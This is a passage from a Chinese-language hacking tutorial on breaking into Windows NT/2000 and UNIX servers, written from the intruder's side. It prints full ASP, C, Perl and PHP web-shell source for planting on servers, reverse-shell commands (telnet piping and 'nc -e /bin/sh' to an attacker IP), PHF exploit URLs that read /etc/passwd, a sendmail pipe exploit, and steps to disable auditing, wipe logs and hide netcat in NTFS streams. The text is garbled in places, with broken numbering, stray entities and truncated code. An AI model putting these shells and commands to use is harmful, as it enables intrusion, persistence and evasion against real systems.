不 过需要满足多个条件。
Microsoft基本上限制了访问NT/2000源代码的可能,
使的在NT/200
0远程缓冲区溢出比UNIX系列操作系统更加困难。
不过说了这么多,并不是NT/2000没有很多缺陷,只是NT/2000运用的一些协议和加密算
法使的出现了比较多得漏洞。NT/2000继续依赖NetBIOS/CIFS/SMB联网协议以及加密用户
密码仍旧用陈旧的Lan Manager算法。这样使的破解NT/2000密码变得比较容易,一般常
用LC3来破解密码文件sam。
1、 得到Administrator帐号:攻击者如果不2、 用Adminsitrator帐号,3、 几乎什么
事情都做不4、 了,5、 不6、 过这里也不7、 能完全肯定,8、 比如利用IIS的Unico
de漏洞就可达到黑主页的目的,9、 具体看需要做什么了。
通过第二章的讲解,一般都可以通过扫描器扫描到很多帐号,而且一般扫描器都自身带
有破解比较弱智密码的功能。其实这个过程很多攻击者并不了解,我想通过对下面Evge
nii Rudnyi编写的sid2user /user2sid两个工具的介绍,你就能更加了解扫描帐号的一
些方法了。
首先,利用sid2user查看SID(security identifier安全标识符),得到一些安全标识
符的ID后,然后就可以通过user2sid找到相应的安全标识符ID的用户名了。
C:\&user2sid \\192.168.202.34 “domain users”
Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
这些信息对我们最有用的莫过于第一行的最后一组字符513了,它就是相对标识符(rel
ative identifier,简称RID),对于像Administrator或Guest之类的内置用户和用户组
,它是预先定义的。比如说,Administrator用户的RID总是500,Guest用户的RID总是5
01。知道了某个域的SID后,我们就可以利用user2sid查找出相应的用户名了。
C:\&sid2user \\192.168.202.34 5 21 8915387
Name is japleak
Domain is WINDOWSNT
Type of SID is SidTypeUser
注意,使用sid2user时省略了S-1和各组数字之间的短划线,一旦有了用户名japleak,
就可以利用一些暴力破解密码了。
其实上面的方法虽然显得比较笨拙,不过那只是一种思维,我们希望的道管理员帐号和
密码,很多人都喜欢利用软件自动猜测。比如用Letmein来破解密码,效率特别高,由于
篇幅有限,具体使用方法参考Letmein的帮助吧。
得到Administrator权限的方法还有很多,比如说利用Unicode漏洞下载sam通过L0pht一
个国外黑客组织的LC3导入密码文件,可以在短短几个小时破解出60%的一般密码。
另外,一种得到Administrator权限的方法也可以是通过缓冲区溢出,比如用的较多的n
ull.idq、null.ida和null.printer都可以通过一串指定的代码溢出缓冲区,达到Admin
istrator权限的shell,然后再通过net user username password /add添加用户。
当然还可以利用一个权限不高的用户名,在主机上创建一个后门,得到Administrator权
限。比如你申请一个免费的ASP空间或者PHP空间,你就可以编写一个ASP木马或PHP木马
,在服务器上运行代码,获得Administrator权限,下面把这常见的网页木马源代码公布
ASP木马for WINDOWS NT/2000:
&%@ Language=VBScript %&
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys =
Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD && "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD
szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
&FORM action="&%=
Request.ServerVariables("URL") %&"
method="POST"&
&input type=text name=".CMD" size=45
value="&%= szCMD
&input type=submit value="Run"&
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
ASP木马for WIN9X:
&%@ Language=VBScript %&
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys =
Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD && "") Then
' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:" & oFileSys.GetTempName( )
Call oScript.Run ("command /c " & szCMD
szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
&FORM action="&%=
Request.ServerVariables("URL") %&"
method="POST"&
&input type=text name=".CMD" size=45
value="&%= szCMD
&input type=submit value="Run"&
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
用C实现的CGI木马(gcc -o cmd cmd.c —chown root.root cmd—chmod 475 cmd
译好的 cmd 文件放到 cgi-bin 目录下,在 apache 1.3.4 上测试通过):
#include &stdio.h&
#include &stdlib.h&
#include &string.h&
#define TITLE "Cmder"
char x2c(char *what);
int header();
int footer();
char *qs = (char *)malloc(256);
int x = 0, i = 0, c = 0, f = 0;
qs = getenv("QUERY_STRING");
if (qs != NULL) {
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
qs[x] = '\0';
for (x = 0; qs[x]; x++) {
if (qs[x] == '+') {
qs[x] = ' ';
header(qs);
out = popen(qs, "r");
if (out != NULL) {
while (c != EOF) {
c = fgetc(out);
if (c != EOF && c != '\0') {
printf("%c", (char) c);
pclose(out);
if (f == 0 && strcmp(qs, "") !=
printf("gH: %s: command not found\n", qs);
return(0);
char x2c(char *what)
digit = (what[0] &= 'A' ? ((what[0]
& 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] &= 'A' ? ((what[1]
& 0xdf) - 'A')+10 : (what[1] - '0'));
return (digit);
header(char *qs) {
printf("Content-type: text/html\n\n");
printf("&html&\n&head&&title&%s&/title&&/head&\n",
printf("&body
bgcolor="#ffffff"&\n");
printf("&dir&");
printf("&ISINDEX prompt="CMD:&
printf("&br&CMD:&
%s\n", qs);
printf("&br&&pre&\n");
footer() {
printf("&/pre&\n&/dir&\n&/body&&/html&\n");
用PERL实现的CGI木马:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
$execthis = $_;
syswrite(STDOUT,
"&HTML&&PRE&\r\n",
open(STDERR, "&&STDOUT") || die
"Can't redirect STDERR";
system($execthis);
syswrite(STDOUT,
"\r\n&/PRE&&/HTML&\r\n",
close(STDERR);
close(STDOUT);
用PHP实现的PHP木马:
&title&PHP
Shell&/title&
Shell&/h1&
if (isset($work_dir)) {
chdir($work_dir);
$work_dir = exec("pwd");
chdir($DOCUMENT_ROOT);
$work_dir = $DOCUMENT_ROOT;
&form name="myform" action="&?php
echo $PHP_SELF ?&"
method="post"&
&p&Current working directory:
$work_dir_splitted = explode("/", substr($work_dir, 1));
echo "&a href="$PHP_SELF?work_dir=" .
urlencode($url) . "/&command=" . urle
ncode($command) .
""&Root&/a&/";
if ($work_dir_splitted[0] == "")
$work_dir = "/";
for ($i = 0; $i & count($work_dir_splitted);
$url .= "/".$work_dir_splitted[$i];
echo "&a href="$PHP_SELF?work_dir=" .
urlencode($url) . "&command=" . urlen
code($command) .
""&$work_dir_splitted[$i]&/a&/";
&p&Choose new working
directory:&/p&
&select name="work_dir"
onChange="this.form.submit()"&
$dir_handle = opendir($work_dir);
while ($dir = readdir($dir_handle))
if (is_dir($dir))
if ($dir == ".")
echo "&option value="$work_dir"
selected&Current
Directory&/option&\n";
elseif ($dir == "..")
if (strlen($work_dir) == 1)
elseif (strrpos($work_dir, "/") == 0)
echo "&option value="/"&Parent
Directory&/option&\n";
echo "&option value="".
strrev(substr(strstr(strrev($work_dir), "/"), 1)) .
Directory&/option&\n";
if ($work_dir == "/")
echo "&option
value="$work_dir$dir"&$dir&/option&\n";
echo "&option
value="$work_dir/$dir"&$dir&/option&\n";
closedir($dir_handle);
&p&Command:&/p&
&input type="text" name="command" size="60"
&?php if ($command) { echo "valu
e="$command"";} ?& &
&input name="submit_btn" type="submit"
value="Execute
Command"&&/p&
&code&stderr&/code&-trapping?
&input type="checkbox" name="stderr"
&p&Output:&/p&
&textarea cols="80" rows="20"
if ($command) {
if ($stderr) {
system($command . " 1& /tmp/output.txt
cat /tmp/output. rm /tmp/output.txt");
system($command);
&/textarea&
&i&Copyright &
href="mailto:"&Martin
Geisler&/a&. Get the latest
version at &a
href="http://www.gimpster.com"&www.gimpster.com&/a&.&/i&
特洛伊木马也对主机系统安全具有很大的危险性,只要能写入主机某个目录,并能通过
方法运行,就可以完全控制主机了。当然这样也就拥有了Administrator权限了,甚至在
某种意义上说,一些方面可能比Administrator权限高,比如说某些注册表键值对于Adm
inistrator也是不可读的,如密码信息。
再就是通过finger获得重要信息:finger服务一般是为了方便网络管理员查看网络运行
状况的服务,不过在黑客利用这一点来,可以查看到一些重要信息,有的用户名和密码
在网络上明文传输,稍不留意就可能得到管理员帐号和密码。网络传输信息,其实是一
个广播过程,发送数据的主机发送一个广播地址给域内的所有主机,等待一个特定IP的
主机回应,然后特定主机才发送一个相应信息,进行通讯。不过这样,虽然网络内其他
主机不能接受主机发出的信息,但是他也可以接受到这个信息,然后利用finger服务查
看两台主机之间进行的传输数据。
发掘信任漏洞是一种比较高级的技术:对凯文·米特尼克有一定了解的朋友可能都知道
他在圣诞节晚上通过一台主机与另一台不很重要的主机的信任关系,通过首先占领另一
台不太重要的主机,最终根据权限比较高,成功攻克了一个大型站点。这其实是一种岛
跳关系,而不是一般入侵者用的肉鸡做跳板的类型。具体实现方法我也不是很了解,希
望对此有经验的朋友不惜赐教。
最后是通过拒绝服务器攻击可能获得Administrator权限:有的网络设备或软件受到拒绝
服务的大量数据包攻击,来不及处理得到的信息,就会出现暂时的“罢工”状态,一些
设置暂时恢复到初始状态。比如说CISCO路由器如果受到DoS攻击,就可能出现暂时恢复
到默认状态,这样就可以通过默认的用户名Admin和密码Admin进入路由器,下载密码文
件,利用软件破解。
10、 巩固权限:巩固权限的方法也是也类似得到Administrator权限的方法,11、 比如
解sam,并成功的擦除主机上你的登陆日志。这样你就可以得到一个永久的用户名和密码
的合法帐号(如果管理员不是勤于修改密码的话)。
留后门的方法很多,可以将一些后门程序放在很多地方,而且让他们在重新启动计算机
时一起执行。我记得网络上有一篇文章叫做《系统启动自动运行程序的十种方法》写得
很好,对于一些后门程序可以做参考。也可以利用WINDOWS NT/2000的Schedule(at)指
令指定在某个时间运行(如果系统关闭了Schedule,可以通过WINDOWS NT/2000光盘中S
uport目录下的sc命令打开)。
另外通过开放主机的某个特定端口,通过特定的方法与主机进行连接。对于缺乏较强网
络知识的管理员,大多不能确定哪个端口开放什么服务,对于一些开放的端口也不敢轻
易关闭,这就跟了攻击者可乘之机。比如说常用的nc99,就是在你的主机上悄悄开放一
个端口99,如果你了解,就可以直接telnet到那个端口。可是现在很多管理员却都不知
道,也不知道应该怎么办。真是遗憾!
12、 掩盖踪迹:入侵者一旦成功地取得某个系统的Administrator帐号,13、 他们就会
把力量集中在避免自己地行踪被检测地目标14、 上。一般他们可以用下面地几种方法掩
 禁止审计:如果目标
系统管理员地安全意识不 强,&#615
48; 不 懂的使用审计功能。然而
审计功能会降低服 务器的
性能, 特别是关于用户合用户组管理种的成功事件之类的功能单元成功时。因
此大多数系统管理员要么不 审计,
要么只审计很少的几个项目。对
于入侵者来说,
他们最重要的事情就是检查目标 系统审计策略的状
态, 害怕自己的行为万
一被监视着。在WINDOWS NT/2000系统盘中存
在一个工具叫做auditpol,
它可以在shell下轻易的关闭审计功能。使用方法
C:\&auditpol /disable
Running……
Local audit information changed successfully……
New local audit policy……
(0) Audit Disabled
AuditCategorySystem =No
AuditCategoryLogon =Failure
AuditCategoryObjectAccess =No
入侵者即将离开目标系统时,会再次使用auditpol的/enable参数重新打开审计功能,然
而auditpol仍然能保持审计功能的各项设定不变,让系统管理员神不知鬼不觉的自己的
信息已经完全暴露给外界了。
 清空事件日志:如果一个攻击者在登陆主机的第一步没有做好审计事件的禁止
, 他的一切
所作所为都被系统日志记录了。真正一个黑客进入主机
时,
首先想到的第一件事情就是自身的安全, 所以在离开系统后,
 还要清空事件。
好像网上有较多的文章说直接删除NT/2000中的*.evt文件,这些都是日志文件,不过我
不知道写这文章的朋友是否曾经实践过?当系统正在利用一个文件的时候时不能删除的
。就是说那日志文件每时每刻都在被系统调用,因为系统的运行是没有停止的,他会对
一些在审计范围内的事件进行写日志的操作,所以用这样的方法根本是不能实现的。
下面我介绍一下我觉得一个比较好的清除日志的文件CleanIISLog,例子如下:
C:\&CleanIISLog 192.168.202.34 password
就可以简单做到,清除日志内容,而且不会留下何时删除日志的记录。
隐藏文件:对于大多数入侵者都喜欢作一个后门,希 望长期占有主
机,
因此把一些后门程序合理隐藏起来显得很重要了, 现在介绍两
种比较常用的方法隐藏文件:(1)用attrib隐藏:这里可以用最陈旧的DOS工具attrib
工具隐藏这个目录, 语法如下:
attrib th directory
虽然这样也能隐藏文件,可以利用查看中的显示所有文件的命令还是么有任何效果,因
此我们可以用到第二种方法。(2)NTFS文件分流的方法隐藏:如果目标系统是Windows
NT/2000文件系统(NTFS)(当然用做WEB服务器,想必都会使用这个文件系统吧,如果
还用FAT32格式还有什么安全性可言?),那么入侵者有另一个隐藏技巧可用。NTFS提供
在一个文件内分化多个信息“流”的支持。Microsoft夸称NTFS的分流特性是“一种不需
要重新构造文件系统就能给一个文件添加额外属性或信息的机制”。这其中还要用到一
个工具cp(NT/2000的光盘中带有),我们现在假设要将netcat.exe(nc.exe)分流在从w
innt\system32\os2\目录中找到的一个普通文件后面,以便在后续的针对其他远程系统
攻击中用到它。选择这个“前端”文件(即oso001.009)是因为它相对模糊些,不过其
他文件都可以这样用。
语法:cp file oso001.009:file
上面我们的例子就是:cp nc.exe oso001.009:nc.exe
这里注意,把nc.exe隐藏在oso001.009的“nc.exe”流中,中间要加上一个冒号,而且
要隐藏的文件放在后面。要“反分流”出nc.exe,就要使用如下命令:
cp oso001.009:nc.exe nc.exe
这样oso001.009文件的修改日期有变化,不过大小没有改变,因此分流后的文件很难检
第六章:攻击UNIX类型系统
攻击UNIX 类型的的系统,是很多攻击者头疼的事情,首先现在使用WINDOWS类型的攻击
者还是占大多数,因此很多人对UNIX/LINUX系列操作系统不很熟悉,根本就谈不上攻击
了,即使偶尔进入一次也都是瞎碰乱撞进入的(我只是说其中一些,并没有任何看不起
攻陷UNIX类型系统的高手的意思)。再加上本来这个系列的很多服务都需要管理员手动
配置的,不像WINDOWS为了方便普通用户那种很多设置默认配置好了的傻瓜似操作,所以
管理员一般的水平都较高,对端口信息、对一些服务器都有所了解,这就相应的给攻击
UNIX类型主机的攻击者增大了难度。由于笔者自身对UNIX系列了解也不是太深,所以可
能这部分内容存在很多不足和缺陷,希望各位朋友谅解并指出。
跟WINDOWS系统类似,想要占领一台UNIX类型的主机,最主要的方法就是获得root权限,
因此下面将针对这个方面作一些探讨:
1、 远程访问:远程访问定义为通过网络(例如某个监听中的服2、 务)或其他通信通
道获取访问权,3、 其主要实现方法一般有下面三种:
 发掘某个监听中服
务(建立在TCP/IP之上)的漏洞。
 经由一个在两个或多个网络之间提供安全屏障的UNIX系统路由。
 由用户发起的远程执行攻击(例如访问恶意的WEB网站、打开特洛伊木马电子
邮件等)。
下面看一个具体的例子,以理解不同种类的攻击是如何归属上述三个类别的。
 发掘某个监听中服
务(建立在TCP/IP之上)的漏洞:对于很多朋友
可能都会因为能成功入侵,
但是朋友可能也未必相信, 看看你那瘦
瘦的个子, 怎么也不
像传说中黑客那种大侠的风范, 不&
#61548; 信!“入侵我的系统试试看!”经常作为他们嘲笑入侵者的一句话。其实再安
全的系统也不 是坚固不
可摧的, 因为可能有一些漏洞还没
有发掘出来,
像www.apache.org、www.microsoft.com还不
给入侵了?其实这是一个发掘某个监听中服
务的例子。如果系统不
再运行允许交互登陆的任何服
务(telnet、ftp、rlogin或rsh),
那你又应该怎么进入主机呢?不
知道大家是否还记得sendmail的一个脆弱点被
公布后又怎么样?
经由一个UNIX系统路由:这就是说攻击者绕过一个UNIX类型的防火墙。既然已
不 允许任何外来的服
务访问, 又如何能够做到这一点呢?
许多情况下, 攻击者使用经由防火墙到达内部系统的源路由分组绕过UNIX防火
墙。这种绝技之所以可以是因为当防火墙应用程序需发挥作用时, 其UNIX内核
必须使能IP属性。在大多数这样的例子中, 攻击者实质上几乎没有真正入侵防
火墙本身,
他们只是把它作为一个路由器而 已。
由用户发起的远程执行攻击:最近很多这样的情况, 相信朋友都听
说过经历过很多了,
当你浏览一个网站时候, 网站上有的存在Acti
veX代码, 自动下载到本地执行,
这样就可能出现一些恶意程序在本
地执行, 修改你系统的一些设置,
截获一些你本地的系统信息,&#
61548; 然后发送回原站点。
(1)蛮力攻击:蛮力攻击纯粹是猜测访问某个服务所需的一个用户ID/密码的组合,而
该服务在给予该用户以访问权之前要求认证他。最常见的可能成为蛮力攻击对象的服务
类型包括:
 Telnet
 文件传输协议(File Transfer
Protocol, 即FTP)
 “R”命令(rlogin、rsh等)
 安全shell(Secure
Shell, 即SSH)
 邮政协议(Post Office
Protocol, 即POP)
 超文本传输协议(Hyper Text Transfer
Protocol, 即HTTP/HTTPS
我们可以通过finger、rusers和sendmail之类的服务都可用来标识某个系统上的用户帐
号。攻击者一旦取得帐号后,就可以通过猜测与此帐号相连的的密码进行猜测,虽然这
种方法手工猜测也是完全可能的,不过大多数时候我们用的是自动执行,下面介绍几个
蛮力猜测工具:
brute_web.c http://sunshine.sunshine.ro/FUN/New/
pop.c http://sunshine.sunshine.ro/FUN/New/
middle finger http://www.njh.com/latest/-05.html
(2)缓冲区溢出攻击:缓冲区溢出条件发生在某个用于或进程试图往一个缓冲区(即固
定长度数组)中放置比原始分配的空间还要多的数据的时候。这种行为与特定的C函数相
关联,例如strcpy()、strcat()、sprintf()等等。缓冲区溢出条件通常会导致段越界异
常的发生。然而这类行为可精心的利用,达到访问目标系统的目的。
假设我们有一个固定长度为128字节的缓冲区,该缓冲区定义为可存放sendmail的VRFY命
令的输入的数据量(VRFY用来标识目标系统上的潜在用户,办法是尝试他们的电子邮件
地址,如登陆到主机的25端口后,可以VRFY username尝试用户)。再假设sendmail是一
个SUID到root的程序,从而不论谁执行都以root权限运行。这种假设可能成立,也可能
不成立。如果系统连接到目标系统的sendmail守护进程后给VRFY命令发送了一块由1000
个字母“a”构成的数据,而不是一个简短的用户,情况又将是什么样的呢?
Echo “vrfy ‘perl -e’print “a” x 1000 ’’ ”|nc www.targetsystem.com
VRFY缓冲区将溢出,因为它只设计成容纳128字节。往VRFY缓冲区中添塞1000个字节可能
导致拒绝服务和sendmail守护进程的崩溃;然而精心设计成让目标系统执行攻击者选定
的代码将更加危险。这恰好是成功的缓冲区溢出攻击的工作原理。
(3)输入验证攻击:发生输入验证攻击的情况包括:
 程序没能认出语法上不
正确的输入
 模块接受无关的输入
 模块没能处理遗漏的输入栏目
 发生栏目一值相关性错误
下面使用一个比较陈旧的例子,目的是为了说明输入验证的脆弱点。PHF是随早期版本的
Apache Web服务器和NCSA HTTPD标准地提供一个公共网关接口(common gateway inter
face,简称CGI脚本)。不幸地是,这个程序没有确切地分析并验证所受到地数据有效性
。PHF脚本的最初版本接受换行符( ),然后就以运行WEB服务器程序的用户ID的特权
执行任何后续的命令。最初的PHF漏洞发掘大体如下:
http:// www.target.com/cgi-bin/phf? Qalias=x /bin/cat
/etc/passwd
这个漏洞发掘仅仅是cat加密后的passwd文件而已,不过可以从中看出标识的用户名。当
然,这些信息也可能被用来标识用户的ID,以及没有加密的密码。技巧丰富的攻击者能
够获取访问该系统的直接shell。大多数情况下,这个用户的ID是“nobody”,然而有许
多不幸的网站犯了以root特权运行WEB服务器程序的大错。
(4)操纵X Windows系统:X是允许多个程序共同用一个图形显示器的窗口化机制。X相
当健壮,允许基于X的客户程序把输出显示到本地X服务器或某个运行在端口
上的远程X服务器。下面看一下攻击者可能如何发掘PHF的漏洞以完成不光是显示/etc/p
asswd文件内容的任务。回顾最初的PHF漏洞发掘如下:
http:// www.target.com/cgi-bin/phf? Qalias=x /bin/cat
/etc/passwd
既然攻击者能够在该服务器上执行远程命令,稍微对它修改一下就能得到交互的shell访
问。攻击者需做的工作就是把待执行的命令从“/bin/cat/passwd”改为“/usr/X11R6/
bin/xterm-ut-display evil_hackers_IP:0.0”,于是漏洞发掘如下:
http://www.target.com/cgi-bin/phf? Qalias=x /usr/X11R6/bin/xterm
display evil_hackers_ip:0.0
该远程WEB服务器将执行一个xterm,并把它显示回恶意黑客(evil_hacker)自己的X服
务器,其窗口ID和屏幕ID都为0。既然能使-ut选项,因此整个活动不会被系统纪录下来
。此外20%是空格的等效值,用于分割命令行的各栏。这么一来,攻击者不必登录到该
WEB服务器的任何服务器都能取得交互的shell访问。
(5)反向telnet和反向通道:如果目标系统的防火墙把除了80和443号以外的端口都堵
塞了。因此攻击者必须通过创建反向通道来发起从脆弱的UNIX服务器到攻击者自己的系
统的会话。
可以用来完成这个任务的方法有多个。第一个方法是反向telnet,也就是使用telnet创
建一个从目标系统到攻击者系统自己的系统的一个反向通道。这种技巧成为反向telnet
的原因在于其中的telnet连接是从攻击者试图获取其访问权的系统发起,而不是从攻击
者自己的系统发起。大多数UNIX服务器都安装了telnet客户程序,其使用也很少受限制
,因此telnet是反向通道客户程序的完美选择。为了执行反向telnet,我们需要谋取万
能的netcat即nc工具的支持。既然是从目标系统telnet,我们就得在自己的系统上使用
nc监听器,由它接受反向的telnet连接。我们必须在两个分开的窗口中分别执行以下命
令之一,以便成功的接收反向的telnet连接:
nc -l -n -v -p 80
nc -l -n -v -p 25
这时候要确保自己系统上的诸如HTTPD或sendmail之类的服务没有绑定在80或25端口上。
如果这两个端口上已有某个服务在监听,那就先用kill命令把它杀掉,以便nc能够捆绑
到这两个端口。这两个nc命令由-l和-p开关指定成分别在25和80号端口监听,工作在详
尽模式-v,不进行从IP地址到主机名的反向解析-n。
与我们的例子保持一致,为了引发反向的telnet,我们必须在目标系统上通过发掘PHF的
漏洞来执行如下真正的命令序列:
/bin/telnet evil_hackers_ip 80|/bin/sh|/bin/telnet evil_hacker_IP
下面是与该命令序列对应的PHF漏洞发掘:
http://www.target.com/cgi-bin/phf? Qalias=x /bin/telnet
evil_hackers_IP%
2080 | /bin/sh | /bin/telnet evil_hackers_IP 25
让我们解释一下这个看似复杂的一串指令在干什么。“/bin/telnet evil_hackers_IP
80”连接到我们在80端口的nc监听器上。这是我们真正输入命令的地方。为与传统的UN
IX输入/输出机制保持一致,我们的标准输出即键击结果通过管道输给了/bin/sh即Born
shell。由/bin/sh执行我们输入的命令而得到的结果再通过管道输给“/bin/telnet e
vil_hackers_IP 25”。最终的结果在两个分开的窗口发生一个反向telnet。选择80和2
5号端口是因为他们是常用的服务,大多数防火墙放行他们的外出访问。当然,只要防火
墙允许外出访问,任何其他端口都可选用。
创建反向通道的另一个方法是使用nc,而不是telnet,条件是服务器上已存在nc的二进
制文件,或者能够通过某种机制(例如匿名FTP)存放到服务器上。我们在下面的例子中
假设目标服务器上存在某个版本的nc,而且使能了刚才提及的选项;
与早先给出的反向telnet方法类似,使用nc创建反相同道也是一个两步过程。我们必须
执行以下命令来成功地接收nc的反向通道:
nc -l -n -v -p 80
使能了nc监听服务器之后,我们就得在目标系统上执行一下命令:
nc -e /bin/sh evil_hackers_IP 80
下面是与该命令对应的PHF漏洞发掘:
http://www.target.com/cgi-bin/phf? Qalias=x /bin/nc -e /bin/sh
hackers_IP 80
(6)常用类型的远程攻击:
 TFTP:TFTP是简化文件传输协议(Trivial File Transfer
Protocol)的简称
,
它通常用于自举无盘工作站或诸如路由器等网络设备 。TFTP是基
于UDP的协议, 它在69端口监听,
不 怎么提供安全性。攻
击者通常会定位一个存在TFTP服
务的系统, 尝试TFTP回一个/etc/p
asswd文件的拷贝到自己的系统中。如果其TFTP服
务器程序配置不 正
确, 目标
系统将欣然给出密码文件。攻击者一旦拥有了一串用户名
 就可供蛮力破解了。
许多较新版本的TFTP缺省配置成禁止访问除/tftproot外的任何目录。这是一个很不错的
一步,但是攻击者同样可以取得/tftproot目录中的任意文件。这里包括敏感的路由器配
置文件,办法是猜测路由器配置文件名,它通常就是跟以.cfg后缀的路由器主机名。
 FTP:FTP即文件传输协议(File Transfer
Protocal)是当前最常用的协议之
一。它允许往远程系统上或从远程系统下载文件。许多FTP服
务器允许匿名&#
61548; 访问,
使的任何用户无需认证就能够登陆到这些FTP服 务器
中。一般情况下, 匿名
FTP能够访问的文件系统仅局限在整个目录树
的特定分枝, 然而
偶然情况下匿名 FTP服
允许用户穿越整个目录结构。这么一来攻击者就可以取走/etc/passwd之类敏感的配置文
件, 或者把上面提到的PHP木马放在cgi-bin目录中……
 SENDMAIL:sendmail是大多数UNIX系统上使用的邮件传送代理(mail
er agent,
简称MTA)。Sendmail的vrfy和expn命令可用来标 识用户
帐号。用户查点已经危险, 不
过尚未暴露运行sendmail时可能面临
的真正危险。Sendmail 4.1中的sendmail存在一个管道脆弱点。该脆弱点允许攻击者通
过管道向sendmail直接供给待执行的命令。其原因在于sendmail会以bin特权执行所提供
数据之后的任何命令。下面是为发掘该脆弱点而
交互输入的sendmail命令:
Mai from:|
Rcpt to:bounce
mail from:bin
rcpt to:|sed ‘1,/^$/d’ |sh
 远程过程调用服
务:远程过程调用(Remote Procedure Call,&#6
1548; 简称RPC)是一种允许在一台计算机上运行的某个程序无缝地在另一个远程系统上
执行代码地机制。要联系某个RPC服
务的话, 必须首先向端口映射器
用rpcinfo命令查询所需RPC服
务的列单, 如果端口映射服
务受到防火墙的保护,
那就是使用rpcinfo命令中-n的选项。不 幸
的是,
许多主流版本的UNIX系统在自举阶段就能不
少RPC服&#61548
; 务。许多RPC服 务极为复
杂且以root权限运行, 这就使
得事情更加糟糕, 因此就可以成功缓冲区溢出或输入验证攻击将导致直接访问
root权限。
4、 本地访问:至此我们已经讨论了常见的远程访问技巧。我们早先提到了,5、 大多
数攻击者是努力发掘远程脆弱点是为了获得本地访问权。到攻击者取得一个交互命令sh
ell之时,6、 他们就被认为是在目标7、 系统本地了。因此可以通过一些特定的方法获
得root权限!
 密码构造脆弱点:破解密码通常被称为自动执行的字典攻击。与被认为是积极
攻击的蛮力猜测不同,
密码破解可以离线进行, 因而
质上是消极的。他是常见的系统攻击,
因为攻击者必须获得/etc/passwd文件
或密码文件的访问权。UNIX的密码一般使用散列算法进行文件加密,而 破解这
个密码文件有两个比较好的程序:Alec Muffett编写的Crack 5.0a和出自Solar Design
er的John the Ripper。
本地缓冲区溢出:本地缓冲区溢出是极为流行的攻击手段。正如上面所说,&
#61548; 缓冲区溢出脆弱点允许攻击者在目标
系统上执行任意的代码和命令。
大多数情况下缓冲区溢出条件用于发掘SUID到root可执行文件中的漏洞,
 允许攻击者以root特权执行命令。
该漏洞发掘代码,然后跳转到内存中的某个确定地址,从而以root权限开始执行/bin/s
h。这下导致确定无疑的“#”提示符,表面我们已经取得了root权限。
 符号链接:大多数系统到处散置着存放垃圾文件、草稿空间和临时文件等内容
的电子庇护所。所幸的是在UNIX系统中,
临时文件创建在成为/tmp的单个目录
中。/tmp尽管是写入临时文件的方便场所,
却也隐藏着危险。许多SUID到roo
t的程序编写成在/tmp或其他目录中创建工作文件,而
不 做即使是最
小的稳健性检查。主要的安全问题起源于盲目的沿循符号连接引用其他文件的程序。符
号连接是使用“ln -s”命令创建的特殊文件。这就是说,
符号连接是指&#61
548; 代另一个文件的文件。下面的命令创建符号连接/tmp/foo,
它指&#6154
8; 向/etc/passwd:
[japleak@tmp]$ln -s /tmp/foo /etc/passwd
现在对/tmp/foo执行cat命令,输出的就是密码文件的内容。这个看似无害的文件却能够
潜在的危及root。
文件描述字攻击:文件描述字是系统用于攻击跟踪文件的非负整数,&#61548
; 这样就无需使用文件名
了。按照规定, 文件描述字0、1和2有隐含
的用途, 分别对应标
准输入、标 准输出和标 准
错误输出。当内核打开一个已存在的文件或创建一个新文件时, 它给调用程序
返回一个确定的文件描述字, 可用来读写该文件。如果某个文件描述字是由一
个特定进程按读写模式打开的, 那么攻击者有可能在该文件修改期间对它进行
写入。这么一来,
攻击者有可能改写某个关键的系统文件而 获得ro
很奇怪的是,一贯被认为比较安全OpenBSD在2.3版本中却易受到这种文件描述的攻击。
当修改密码文件的中部分信息的chpass命令没有正确分配文件描述字。所以执行chpass
时,它会创建一个允许普通用户使用自选的编辑器修改它的临时文件(该编辑器用chpa
ss启动)。当用户关闭自己的编辑时,所做的改动就归并到密码数据库中。如果攻击者
能够从该编辑器中启动一个shell,那就派生出一个能读/写访问其父进程文件描述字的
子进程。攻击者通过增设一个没有密码的UID为0的帐号来达到修改chpass所用临时文件
(/tmp/ptmp)的目的。当他们关闭由chpass打开的编辑器时,这个新帐号将归并到/et
c/master.passwd中,于是取得了root权限。
8、 获得root之后:当一个攻击者成功获得root权限后,9、 他们接下来就会使用一些
后门程序、嗅探程序等捕获login、telnet、ftp、smtp和snmp密码信息等。一般获得ro
ot权限后,10、 就需要进行以下的一些过程:(1)特洛伊木马,11、 例如修改过的l
ogin、netstat和ps程序;(2)后门,12、 例如inetd配置表项的插入;(3)接口嗅探
程序;(4)系统登记结果清除程序。
特洛伊木马:攻击者获取root权限后,
他们就能对目标 系
统上任意命令进行“特洛伊木马化”。举例来说把,
许多root工具箱中共同&
#61548; 的一个木马是篡改了的login版本。该程序会像正常的login命令那样让用户登
陆;然而 它还登记输入的用户名
和密码到一个文件中。另有一个篡
